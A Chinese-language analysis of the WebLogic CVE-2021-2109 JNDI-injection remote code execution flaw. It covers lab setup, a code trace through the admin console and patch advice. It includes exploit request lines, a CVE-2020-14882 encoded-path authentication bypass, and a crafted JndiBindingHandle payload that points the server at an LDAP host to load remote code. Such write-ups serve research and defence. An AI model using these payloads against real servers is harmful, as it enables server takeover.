weblogic CVE-2021-2109
漏洞简介
Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。
影响版本
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
漏洞复现
选用 jdk-8u181
weblogic 12.1.4.0
搭建漏洞环境,因为是通过 JNDI 注入进行的远程命令执行,所以会受到 JDK 版本的影响。JNDI 注入的 JDK 版本如图所示
下载 weblogic 安装包后,以管理员身份打开 cmd 控制台,执行 java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
一路 next 就好。
安装完成之后,启动 C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd
就可以启动 weblogic。
设置调试的话修改 user_project/domains/bin
目录中 setDomainEnv.cmd
或者 setDomainEnv.sh
文件,在 if "%debugFlag%"=="true"
前加入 set debugFlag=true
在同一文件中 通过 set DEBUG_PORT=8453 指定了远程调试的端口,拷贝 Oracle_Home 目录下所有文件至调试目录,配置 Remote 方式进行远程调试,端口为 8453
利用 JNDI 注入工具 https://github.com/welk1n/JNDI-Injection-Exploit
生成payload
登录 weblogic 控制台,发送数据包
1 | POST /console/consolejndi.portal HTTP/1.1 |
可以结合 CVE-2020-14882 权限绕过漏洞,删除cookie,重新构造数据包
1 | POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1 |
漏洞分析
我们注意到漏洞 poc 中包含类 com.bea.console.handles.JndiBindingHandle ,我们就在其中添加断点
console.jar!com.bea.console.handles.JndiBindingHandle#JndiBindingHandle(java.lang.String)
我们注意到 JndiBindingHandle 是一些初始化操作,进行实例化。
我们查看 Oracle_Home/wlserver/server/lib/consoleapp/webapp/consolejndi.portal
文件,发现标签 JNDIBindingPageGeneral
指定的路径是 /PortalConfig/jndi/jndibinding.portlet
跟进文件 jndibinding.portlet,看到程序最终调用 JNDIBindingAction
类
Oracle_Home/wlserver/server/lib/consoleapp/webapp/PortalConfig/jndi/jndicontext.portlet
我们在 JNDIBindingAction
类的函数 execute
中,看到了 JNDI 注入的关键函数 lookup,通过 lookup 去引用命名服务(RMI)和目录服务(LDAP)。
console.jar!com.bea.console.actions.jndi.JNDIBindingAction#execute
我们可以看到 lookup 中的值来源于 bindingHandle.getContext()
+ bindingHandle.getBinding()
,同时要执行到 lookup 需要满足 serverMBean != null
,serverName 的值来自 bindingHandle.getServer()
。
ServerMBean serverMBean = MBeanUtils.getAnyServerMBean(serverName);
console.jar!com.bea.console.utils.MBeanUtils#getAnyServerMBean(java.lang.String)
跟进lookupServer
com.oracle.weblogic.management.beanimpls.jar!weblogic.management.configuration.DomainMBeanImpl#lookupServer
在这里如果要满足有返回值的,传入的值必须等于 bean.getName()
,通过获取 this._Servers[0].getName()
可以得到这个值为 AdminServer
满足了执行条件之后,我们继续返回 JNDIBindingAction#execute 查看 lookup 函数中的参数的传入来自于
而context、bindName、serverName的值都是从bindingHandle中获取的,正巧我们可以控制JndiBindingHandle实例化的值(objectIdentifier),接着来就需要看下objectIdentifier和以上3个值有什么关系了,看一下3个成员变量的get函数,发现他们都和Component有关,
console.jar!com.bea.console.handles.JndiBindingHandle
跟进 getComponent
console.jar!com.bea.console.handles.HandleImpl#getComponent
跟进 getComponents
console.jar!com.bea.console.handles.HandleImpl#getComponents
我们可以看到函数 getComponents 就是通过 this.getObjectIdentifier() 获取 objectIdentifier 的值,进而通过分号 ; 分隔开来,并将分割后的数据填入 String 数组。我们想要控制的参数都可以通过控制 objectIdentifier 的值来实现。 this.objectIdentifier 是在 JndiBindingHandle 类中的构造函数中初始化的。
console.jar!com.bea.console.utils.HandleUtils#handleFromQueryString
会获取参数中以 handle 为结尾的键值,再根据 request 请求的参数生产 handle 对象
console.jar!ccom.bea.console.handles.HandleConverter#convert
console.jar!com.bea.console.handles.HandleFactory#getHandle
所以我们在请求中设置
JndiBindingHandlehandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0.1:1389/Evil")
, lookup中的参数有两个,会将两个参数用 .
拼接起来,所以我们可以将 ldap://127.0.0.1:1389/Evil 中的任意一个 .
替换为 ;
同时还需要让serverName = AdminServer ,所以最后为 JndiBindingHandlehandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/Evil;AdminServer")
修复建议
1、升级Weblogic Server运行环境的JDK版本;
2、升级官方安全补丁,参考Oracle官网发布的补丁:Oracle Critical Patch Update Advisory - January 2021